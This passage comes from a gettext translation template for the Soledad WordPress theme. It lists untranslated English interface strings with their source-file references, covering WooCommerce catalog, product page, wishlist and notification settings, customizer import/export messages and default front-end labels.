#: inc/customizer/config/sections/pencidesign_woo_product_catalog_section.php:217
#: inc/customizer/config/sections/woocommerce_product_catalog_section.php:184
msgid "You can restrict shopping functions only for logged in customers."
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_product_catalog_section.php:224
#: inc/customizer/config/sections/woocommerce_product_catalog_section.php:191
msgid "Enable Quick Select Options on Product"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_product_catalog_section.php:225
#: inc/customizer/config/sections/woocommerce_product_catalog_section.php:192
msgid "Allow customers purchase product on hover content."
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_product_catalog_section.php:232
#: inc/customizer/config/sections/woocommerce_product_catalog_section.php:199
msgid "Limit Product Title Length"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_product_catalog_section.php:252
#: inc/customizer/config/sections/woocommerce_product_catalog_section.php:220
msgid "Limit Product Excerpt Length"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_product_catalog_section.php:273
#: inc/customizer/config/sections/woocommerce_product_catalog_section.php:241
#: inc/woocommerce/modules/metaboxes.php:299
msgid "Grid swatch attribute to display"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_product_catalog_section.php:274
#: inc/customizer/config/sections/woocommerce_product_catalog_section.php:242
msgid "Choose the attribute that will be shown on the product grid."
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_product_catalog_section.php:291
#: inc/customizer/config/sections/woocommerce_product_catalog_section.php:251
msgid "Limit swatches on grid "
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_product_catalog_section.php:310
#: inc/customizer/config/sections/woocommerce_product_catalog_section.php:257
msgid "Enable Product Swatches Shop Cache"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_product_catalog_section.php:311
#: inc/customizer/config/sections/woocommerce_product_catalog_section.php:258
msgid ""
"By default, Soledad using cache to speed up Query for swatch image. Uncheck "
"this option to disable/debug."
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_product_catalog_section.php:317
#: inc/customizer/config/sections/woocommerce_product_catalog_section.php:264
msgid "Catalog Columns Settings"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_product_catalog_section.php:324
#: inc/customizer/config/sections/woocommerce_product_catalog_section.php:271
msgid "Categories Columns"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_product_catalog_section.php:325
#: inc/customizer/config/sections/woocommerce_product_catalog_section.php:272
msgid "How many category should be shown per row on section ?"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_product_catalog_section.php:339
#: inc/customizer/config/sections/woocommerce_product_catalog_section.php:286
msgid "Categories Display Style"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_product_catalog_section.php:340
#: inc/customizer/config/sections/woocommerce_product_catalog_section.php:287
msgid "Select the category displays style on shop/category page"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_product_catalog_section.php:345
#: inc/customizer/config/sections/woocommerce_product_catalog_section.php:291
#: inc/elementor/modules/penci-product-brand/widgets/penci-product-brand.php:182
#: inc/elementor/modules/penci-product-brand/widgets/penci-product-brand.php:214
#: inc/elementor/modules/penci-product-categories/widgets/penci-product-categories.php:222
#: inc/elementor/modules/penci-product-categories/widgets/penci-product-categories.php:275
#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:556
#: inc/elementor/modules/penci-product/widgets/penci-product.php:231
#: inc/elementor/modules/penci-product/widgets/penci-product.php:338
#: inc/js_composer/shortcodes/product/settings.php:142
#: inc/js_composer/shortcodes/product_brand/settings.php:90
#: inc/js_composer/shortcodes/product_tabs/settings.php:90
msgid "Carousel"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_product_catalog_section.php:351
#: inc/customizer/config/sections/woocommerce_product_catalog_section.php:298
msgid "Products per row on Desktop"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_product_catalog_section.php:352
#: inc/customizer/config/sections/woocommerce_product_catalog_section.php:299
msgid "How many products should be shown per row on desktop ?"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_product_catalog_section.php:366
#: inc/customizer/config/sections/woocommerce_product_catalog_section.php:313
msgid "Products per row on Mobile"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_product_catalog_section.php:367
#: inc/customizer/config/sections/woocommerce_product_catalog_section.php:314
msgid "How many products should be shown per row on mobile ?"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_quickview_settings_section.php:6
#: inc/woocommerce/modules/quick_view.php:16
msgid "Quick View"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_quickview_settings_section.php:7
msgid ""
"Enable Quick view option. Ability to see the product information with AJAX."
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_quickview_settings_section.php:14
msgid "Show variations information on quick view"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_quickview_settings_section.php:15
msgid ""
"Enable Quick show all product summary information for variable products."
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_quickview_settings_section.php:23
msgid "Quick view width"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_quickview_settings_section.php:24
msgid "Set width of the quick view in pixels."
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_section_transition_lang_section.php:9
msgid "Shop by Department"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_section_transition_lang_section.php:30
msgid "Text: "
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_single_settings_section.php:6
msgid "Breadcrumb Position"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_single_settings_section.php:7
msgid "Select the breadcrumb position on single product"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_single_settings_section.php:11
msgid "Top of page"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_single_settings_section.php:12
msgid "Top of product summary"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_single_settings_section.php:13
#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:653
#: inc/elementor/modules/penci-product/widgets/penci-product.php:313
#: inc/js_composer/shortcodes/product/settings.php:210
#: inc/js_composer/shortcodes/product_tabs/settings.php:159
msgid "Hidden"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_single_settings_section.php:19
#: inc/woocommerce/modules/metaboxes.php:66
msgid "Product image width"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_single_settings_section.php:20
#: inc/woocommerce/modules/metaboxes.php:77
msgid ""
"You can choose different page layout depending on the product image size you "
"need"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_single_settings_section.php:24
#: inc/customizer/config/sections/pencidesign_woo_single_settings_section.php:105
#: inc/customizer/config/sections/pencidesign_woo_single_settings_section.php:118
msgid "Standard"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_single_settings_section.php:27
msgid "Full Width (Container)"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_single_settings_section.php:35
msgid "Custom Max Width for Product Detail on Full Width Images Style"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_single_settings_section.php:53
#: inc/woocommerce/modules/metaboxes.php:83
msgid "Thumbnails position"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_single_settings_section.php:54
#: inc/woocommerce/modules/metaboxes.php:96
msgid "Use vertical or horizontal position for thumbnails."
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_single_settings_section.php:61
msgid "Bottom 1 Column"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_single_settings_section.php:62
msgid "Bottom 2 Column"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_single_settings_section.php:64
msgid "Without"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_single_settings_section.php:70
msgid "Disable Zoom on Gallery Product"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_single_settings_section.php:77
msgid "Sticky Product Image & Content"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_single_settings_section.php:78
msgid "Check to enable sticky content & product images"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_single_settings_section.php:85
msgid "Disable Single Product Ajax Add to Cart"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_single_settings_section.php:86
msgid "Turn on this option if the addon product doesn't add to cart."
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_single_settings_section.php:94
msgid "Enable Top Next/Previous Products"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_single_settings_section.php:95
msgid "Check to show the next/prvious post on the top of product."
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_single_settings_section.php:101
msgid "Tabs Content Display Style"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_single_settings_section.php:106
msgid "Accordion Toggle"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_single_settings_section.php:107
msgid "Accordion Content"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_single_settings_section.php:113
#: inc/woocommerce/modules/metaboxes.php:52
msgid "Product Summary Align"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_single_settings_section.php:114
msgid "Select default product summary align style"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_single_settings_section.php:125
#: inc/woocommerce/modules/metaboxes.php:117
msgid "Enable sticky add to cart ?"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_single_settings_section.php:129
#: inc/customizer/config/sections/pencidesign_woo_single_settings_section.php:141
#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:953
#: inc/elementor/modules/penci-weather/widgets/penci-weather.php:52
#: inc/elementor/modules/penci-weather/widgets/penci-weather.php:61
#: inc/js_composer/shortcodes/weather/settings.php:34
#: inc/js_composer/shortcodes/weather/settings.php:45
#: inc/meta-box/meta-box.php:1034 inc/meta-box/meta-box.php:1071
#: inc/meta-box/meta-box.php:1093 inc/meta-box/register/page.php:336
msgid "Enable"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_single_settings_section.php:136
msgid "Add shadow to product summary block"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_single_settings_section.php:137
msgid ""
"Useful when you set background color for the single product page to gray for "
"example."
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_single_settings_section.php:148
msgid "Enable Custom Tab"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_single_settings_section.php:155
#: inc/woocommerce/modules/metaboxes.php:248
msgid "Custom Tab Title"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_single_settings_section.php:162
#: inc/woocommerce/modules/metaboxes.php:255
msgid "Custom Tab Content"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_single_settings_section.php:169
msgid "Custom Tab Priority"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_single_settings_section.php:189
msgid "Convert select into the button"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_single_settings_section.php:190
msgid "Convert the select into button on the no-swatches field."
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_single_settings_section.php:198
msgid "Product Social Sharing Style"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_single_settings_section.php:199
#: inc/customizer/config/sections/pencidesign_woo_single_settings_section.php:213
msgid "Select the social sharing style."
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_single_settings_section.php:212
msgid "Product Social Icon Style"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_single_settings_section.php:224
msgid "Related Product Columns"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_single_settings_section.php:225
msgid "How many products should be shown per row on related section ?"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_single_settings_section.php:238
msgid "Custom Amount of Related Products"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_single_settings_section.php:259
msgid "Up Sell Product Columns"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_single_settings_section.php:260
msgid "How many products should be shown per row on up sell section ?"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_toast_notify_section.php:6
msgid "Notifications Settings"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_toast_notify_section.php:13
msgid "Enable Notify"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_toast_notify_section.php:20
msgid "Show Added to Cart Notify"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_toast_notify_section.php:27
msgid "Notify Position"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_toast_notify_section.php:28
msgid "Select the position of the notification you want to display"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_toast_notify_section.php:33
#: inc/dashboard/lib/meta-box/inc/fields/background.php:110
msgid "Top Center"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_toast_notify_section.php:34
msgid "Middle Center"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_toast_notify_section.php:37
#: inc/dashboard/lib/meta-box/inc/fields/background.php:116
msgid "Bottom Center"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_toast_notify_section.php:44
msgid "Notify Text Align"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_toast_notify_section.php:45
msgid "Select the text align of the notification you want to display"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_toast_notify_section.php:57
msgid "Notify Transition Effect"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_toast_notify_section.php:58
msgid "Select the transition effect of the notify"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_toast_notify_section.php:61
msgid "Plain"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_toast_notify_section.php:71
msgid "Hide the Notify after miliseconds"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_toast_notify_section.php:92
msgid "Notify Background Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_toast_notify_section.php:100
msgid "Notify Text Color"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_typo_settings_section.php:5
msgid "Product Item Font Size"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_typo_settings_section.php:15
msgid "Font Size for Product Item Title"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_typo_settings_section.php:47
msgid "Font Size for Product Item Title on Listing Layout"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_typo_settings_section.php:80
#: inc/customizer/config/sections/pencidesign_woo_typo_settings_section.php:509
msgid "Font Size for Product Meta"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_typo_settings_section.php:113
#: inc/customizer/config/sections/pencidesign_woo_typo_settings_section.php:391
msgid "Font Size for Product Price"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_typo_settings_section.php:146
msgid "Font Size for Button Icon"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_typo_settings_section.php:179
msgid "Font Size for Button - Product Style 3"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_typo_settings_section.php:212
msgid "Font Size for Button - Product Style 4"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_typo_settings_section.php:245
msgid "Font Size for Button - Product Style 5"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_typo_settings_section.php:273
msgid "Product Category Loop Font Size"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_typo_settings_section.php:285
msgid "Font Size for Product Category Title"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_typo_settings_section.php:318
msgid "Font Size for Product Category Meta"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_typo_settings_section.php:346
msgid "Single Product Font Size"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_typo_settings_section.php:358
msgid "Font Size for Product Title"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_typo_settings_section.php:424
msgid "Font Size for Product Breadcrumb"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_typo_settings_section.php:452
msgid "Font Size for Product General Text"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_typo_settings_section.php:476
msgid "Font Size for Product Tab Title"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_typo_settings_section.php:537
msgid "Additional Pages Font Size"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_typo_settings_section.php:549
msgid "Font Size for Navigation Step"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_typo_settings_section.php:582
msgid "Font Size for Table Head"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_typo_settings_section.php:615
msgid "Font Size for Table Product Title"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_typo_settings_section.php:648
msgid "Font Size for Table Product Price"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_typo_settings_section.php:681
msgid "Font Size for Table Product Sub Total"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_typo_settings_section.php:714
msgid "Font Size for Table Product Quantity Input"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_typo_settings_section.php:747
msgid "Font Size for Cart Total Heading"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_typo_settings_section.php:780
msgid "Font Size for Button"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_typo_settings_section.php:808
msgid "Check out Form Font Size"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_typo_settings_section.php:820
msgid "Font Size for Form Label"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_typo_settings_section.php:853
msgid "Font Size for Form Input"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_typo_settings_section.php:919
msgid "Font Size for Order Button"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_typo_settings_section.php:947
msgid "Other Product Font Size"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_typo_settings_section.php:959
msgid "Font Size for Product Label"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_wishlist_settings_section.php:6
msgid "Enable Wishlist"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_wishlist_settings_section.php:7
msgid "Enable wishlist functionality built in with the theme."
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_wishlist_settings_section.php:15
msgid "Hide Header Wishlist Icon"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_wishlist_settings_section.php:22
msgid "Wishlist page"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_wishlist_settings_section.php:23
msgid ""
"Select a page for the wishlist table. It should contain the shortcode: "
"[penci_wishlist]"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_wishlist_settings_section.php:32
msgid "Only for logged in"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_wishlist_settings_section.php:33
msgid "Disable wishlist for guests customers."
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_wishlist_settings_section.php:41
msgid "Display wishlist product button on all products grids and lists."
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_wishlist_settings_section.php:49
msgid "Products Items Per Page"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_wishlist_settings_section.php:67
msgid "Products Pagination"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_wishlist_settings_section.php:86
msgid "Empty wishlist heading text"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_wishlist_settings_section.php:92
msgid "Empty wishlist text"
msgstr ""

#: inc/customizer/config/sections/pencidesign_woo_wishlist_settings_section.php:93
msgid "Text will be displayed if user don't add any products to wishlist"
msgstr ""

#: inc/customizer/customizer-tools/class-setup.php:62
#: inc/options/framework/classes/admin-options.class.php:565
#: inc/options/framework/classes/admin-options.class.php:686
msgid "Reset All"
msgstr ""

#: inc/customizer/customizer-tools/class-setup.php:65
#: inc/data-imex/penci-imex.php:149
msgid "Export"
msgstr ""

#: inc/customizer/customizer-tools/class-setup.php:68
#: inc/customizer/customizer-tools/templates/import-form.php:27
#: inc/options/framework/fields/backup/backup.php:26
msgid "Import"
msgstr ""

#: inc/customizer/customizer-tools/class-setup.php:72
msgid ""
"Caution! Proceeding will erase all customizations made for this theme "
"through the WordPress customizer."
msgstr ""

#: inc/customizer/customizer-tools/class-setup.php:73
msgid ""
"Caution! Using the import tool will overwrite your current customizer data. "
"To save your current customizations, export them prior to importing new data."
msgstr ""

#: inc/customizer/customizer-tools/class-setup.php:74
msgid "Please select a file to import."
msgstr ""

#: inc/customizer/customizer-tools/helpers/class-import.php:60
msgid "Import error! Please try again."
msgstr ""

#: inc/customizer/customizer-tools/helpers/class-import.php:73
#: inc/customizer/customizer-tools/helpers/class-import.php:78
msgid ""
"Import error! Please ensure that the file you are uploading is a valid "
"Customizer export file."
msgstr ""

#: inc/customizer/customizer-tools/helpers/class-import.php:83
msgid ""
"Import error! The customizer settings provided are not compatible with the "
"current theme."
msgstr ""

#: inc/customizer/customizer-tools/templates/import-form.php:19
msgid "Select JSON file to import."
msgstr ""

#: inc/customizer/default.php:26
msgid "keep your memories alive"
msgstr ""

#: inc/customizer/default.php:27
msgid "comment"
msgstr ""

#: inc/customizer/default.php:28
msgid "views"
msgstr ""

#: inc/customizer/default.php:29
msgid "read"
msgstr ""

#: inc/customizer/default.php:30
msgid "ago"
msgstr ""

#: inc/customizer/default.php:32
msgid "Published:"
msgstr ""

#: inc/customizer/default.php:33
msgid "Last Updated on"
msgstr ""

#: inc/customizer/default.php:34
msgid ""
"Save my name, email, and website in this browser for the next time I comment."
msgstr ""

#: inc/customizer/default.php:35
msgid "Type and hit enter..."
msgstr ""

#: inc/customizer/default.php:36
msgid "comments"
msgstr ""

#: inc/customizer/default.php:37
#: inc/elementor/modules/penci-latest-tweets/widgets/penci-latest-tweets.php:87
#: inc/js_composer/shortcodes/latest_tweets/settings.php:64
#: inc/widgets/latest_tweets.php:51 inc/widgets/latest_tweets.php:177
msgid "Reply"
msgstr ""

#: inc/customizer/default.php:38
#: inc/dashboard/lib/meta-box/inc/fields/file.php:172
#: inc/dashboard/lib/meta-box/inc/fields/media.php:31
msgid "Edit"
msgstr ""

#: inc/customizer/default.php:39
msgid "Your comment is awaiting approval"
msgstr ""

#: inc/customizer/default.php:40
msgid "by"
msgstr ""

#: inc/customizer/default.php:41
msgid "Home"
msgstr ""

#: inc/customizer/default.php:44
msgid "Newer Posts"
msgstr ""

#: inc/customizer/default.php:45
msgid "Older Posts"
msgstr ""

#: inc/customizer/default.php:46
#: inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.php:236
#: inc/gutenberg/block/latest-posts/index.js:66
#: inc/template-builder/archive-elements/posts.php:224
msgid "Load More Posts"
msgstr ""

#: inc/customizer/default.php:47
msgid "Load More Items"
msgstr ""

#: inc/customizer/default.php:48
msgid "Load More Comments"
msgstr ""

#: inc/customizer/default.php:49
msgid "Sorry, No more posts"
msgstr ""

#: inc/customizer/default.php:50
msgid "Sorry, No more items"
msgstr ""

#: inc/customizer/default.php:51
msgid "Sorry, No more comments"
msgstr ""

#: inc/customizer/default.php:52
msgid "Sorry, No comments found."
msgstr ""

#: inc/customizer/default.php:54
msgid "Back To Top"
msgstr ""

#: inc/customizer/default.php:55
msgid "written by"
msgstr ""

#: inc/customizer/default.php:56
msgid "Updated by"
msgstr ""

#: inc/customizer/default.php:57
msgid "Reviewed by"
msgstr ""

#: inc/customizer/default.php:58
msgid "Edited by"
msgstr ""

#: inc/customizer/default.php:59
msgid "Revised by"
msgstr ""

#: inc/customizer/default.php:60
msgid "previous post"
msgstr ""

#: inc/customizer/default.php:61
msgid "next post"
msgstr ""

#: inc/customizer/default.php:62
msgid "You may also like"
msgstr ""

#: inc/customizer/default.php:63
msgid "You Might Be Interested In"
msgstr ""

#: inc/customizer/default.php:64
msgid "Author Profile"
msgstr ""

#: inc/customizer/default.php:65
msgid "Posts by the Author"
msgstr ""

#: inc/customizer/default.php:66
msgid "Read also"
msgstr ""

#: inc/customizer/default.php:67
msgid "Name*"
msgstr ""

#: inc/customizer/default.php:68
msgid "Email*"
msgstr ""

#: inc/customizer/default.php:69 inc/user-profile.php:290
msgid "Website"
msgstr ""

#: inc/customizer/default.php:70
msgid "Your Comment"
msgstr ""

#: inc/customizer/default.php:71
msgid "Leave a Comment"
msgstr ""

#: inc/customizer/default.php:72
msgid "Cancel Reply"
msgstr ""

#: inc/customizer/default.php:73 woocommerce/single-product-reviews.php:84
msgid "Submit"
msgstr ""

#: inc/customizer/default.php:74
msgid "Category:"
msgstr ""

#: inc/customizer/default.php:75
msgid "Continue Reading"
msgstr ""

#: inc/customizer/default.php:76
msgid "Read more"
msgstr ""

#: inc/customizer/default.php:77 inc/gutenberg/block/recipe-index/index.php:74
msgid "View All"
msgstr ""

#: inc/customizer/default.php:78
msgid "Tag:"
msgstr ""

#: inc/customizer/default.php:80
msgid "Posts tagged with"
msgstr ""

#: inc/customizer/default.php:81 inc/elementor/base/base-widget.php:162
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:142
#: inc/elementor/modules/penci-fullwidth-hero-overlay/widgets/penci-fullwidth-hero-overlay.php:207
#: inc/elementor/modules/penci-product-list/widgets/penci-product-list.php:272
#: inc/elementor/modules/penci-product-tabs/widgets/penci-product-tabs.php:232
#: inc/elementor/modules/penci-product/widgets/penci-product.php:139
#: inc/elementor/modules/penci-small-list/widgets/penci-small-list.php:375
#: inc/elementor/modules/query-control/controls/penci-group-control-posts.php:77
#: inc/js_composer/inc/product_param.php:79
#: inc/js_composer/params/loop/register.php:284
#: inc/js_composer/params/loop/register.php:359
#: inc/js_composer/params/post_metas/register.php:14
#: inc/js_composer/shortcodes/big_grid/settings.php:113
#: inc/js_composer/shortcodes/product/settings.php:82
#: inc/js_composer/shortcodes/small_list/settings.php:255
#: inc/js_composer/shortcodes/web_stories/settings.php:39
#: inc/json-schema-validar.php:461
msgid "Author"
msgstr ""

#: inc/customizer/default.php:82
msgid "Daily Archives"
msgstr ""

#: inc/customizer/default.php:83
msgid "Monthly Archives"
msgstr ""

#: inc/customizer/default.php:84
msgid "Yearly Archives"
msgstr ""

#: inc/customizer/default.php:85
msgid "Archives"
msgstr ""

#: inc/customizer/default.php:87
msgid "Search results for"
msgstr ""

#: inc/customizer/default.php:88
msgid "Share"
msgstr ""

#: inc/customizer/default.php:89
msgid "Comments are closed."
msgstr ""

#: inc/customizer/default.php:90
msgid ""
"Sorry, but nothing matched your search terms. Please try again with some "
"different keywords."
msgstr ""

#: inc/customizer/default.php:91
msgid "Back to Home Page"
msgstr ""

#: inc/customizer/default.php:92
msgid "OOPS! Page you're looking for doesn't exist. Please use search for help"
msgstr ""

#: inc/customizer/default.php:98
msgid ""
"This website uses cookies to improve your experience. We'll assume you're ok "
"with this, but you can opt-out if you wish."
msgstr ""

#: inc/customizer/default.php:99
#: inc/elementor/modules/penci-big-grid/widgets/penci-big-grid.php:541
#: inc/elementor/modules/penci-featured-sliders/widgets/penci-featured-sliders.php:622
#: inc/js_composer/shortcodes/featured_slider/settings.php:482
msgid "Read More"
msgstr ""

#: inc/customizer/default.php:100
msgid "Accept"
msgstr ""

#: inc/customizer/default.php:101
msgid "Privacy & Cookies Policy"
msgstr ""

#: inc/customizer/default.php:102
#: woocommerce/single-product/product-image.php:143
msgid "Next"
msgstr ""

#: inc/customizer/default.php:103
msgid "Back"
msgstr ""

#: inc/customizer/default.php:104
msgid "K"
msgstr ""

#: inc/customizer/default.php:107
msgid "Latest in {name}"
msgstr ""

#: inc/customizer/default.php:108 inc/woocommerce/woocommerce.php:131
msgid "No product found"
msgstr ""

#: inc/customizer/default.php:109 inc/js_composer/inc/product_param.php:197
#: inc/js_composer/inc/product_param.php:219 inc/woocommerce/woocommerce.php:97
msgid "Sku"
msgstr ""

#: inc/customizer/default.php:173
msgid "No Post Found!"
msgstr ""

#: inc/customizer/default.php:178
msgid "Recent"
msgstr ""

#: inc/customizer/default.php:179
msgid "Popular"
msgstr ""

#: inc/customizer/default.php:180
#: inc/elementor/modules/penci-recent-posts/widgets/penci-recent-posts.php:265
#: inc/elementor/modules/penci-stylisted-articles-count/widgets/penci-stylisted-articles-count.php:181
msgid "Post"
msgstr ""

#: inc/customizer/default.php:181
msgid "Posts"
msgstr ""

#: inc/customizer/default.php:187
msgid "Search for products"
msgstr ""

#: inc/customizer/default.php:188
msgid "Start typing to see products you are looking for."
msgstr ""

#: inc/customizer/default.php:189
msgid "Search for projects."
msgstr ""

#: inc/customizer/default.php:190
msgid "Start typing to see projects you are looking for."
msgstr ""

#: inc/customizer/default.php:191
msgid "Search for posts"
msgstr ""

#: inc/customizer/default.php:192
msgid "Start typing to see posts you are looking for."
msgstr ""

#: inc/customizer/default.php:193
msgid "Select category"
msgstr ""

#: inc/customizer/default.php:194
msgid "Result form blog"
msgstr ""

#: inc/customizer/default.php:195
msgid "Show all results"
msgstr ""

#: inc/customizer/default.php:196
msgid "No results"
msgstr ""

#: inc/customizer/default.php:206
msgid "You have successfully edited your account details"
msgstr ""

#: inc/customizer/default.php:207
msgid "Your old password is not valid"
msgstr ""

#: inc/customizer/default.php:208
msgid "Please enter your new password"
msgstr ""

#: inc/customizer/default.php:209
msgid "New Password & Confirm Password do not match"
msgstr ""

#: inc/customizer/default.php:210
msgid "You have successfully changed your password"
msgstr ""

#: inc/customizer/default.php:211
msgid "Please enter your old password"
msgstr ""

#: inc/customizer/default.php:213
msgid "minutes"
msgstr ""

#: inc/customizer/default.php:214
msgid "Like Posts"
msgstr ""

#: inc/customizer/default.php:231
msgid "Terrible"
msgstr ""

#: inc/customizer/default.php:232
msgid "Poor"
msgstr ""

#: inc/customizer/default.php:233 woocommerce/single-product-reviews.php:131
msgid "Average"
msgstr ""

#: inc/customizer/default.php:234
msgid "Very Good"
msgstr ""

#: inc/customizer/default.php:235
msgid "Exceptional"
msgstr ""

#: inc/customizer/default.php:236
msgid "Bookmark"
msgstr ""

#: inc/customizer/default.php:237
#: inc/customizer/framework/customizer/control/class-size.php:45
#: inc/options/framework/classes/admin-options.class.php:565
#: inc/options/framework/classes/admin-options.class.php:686
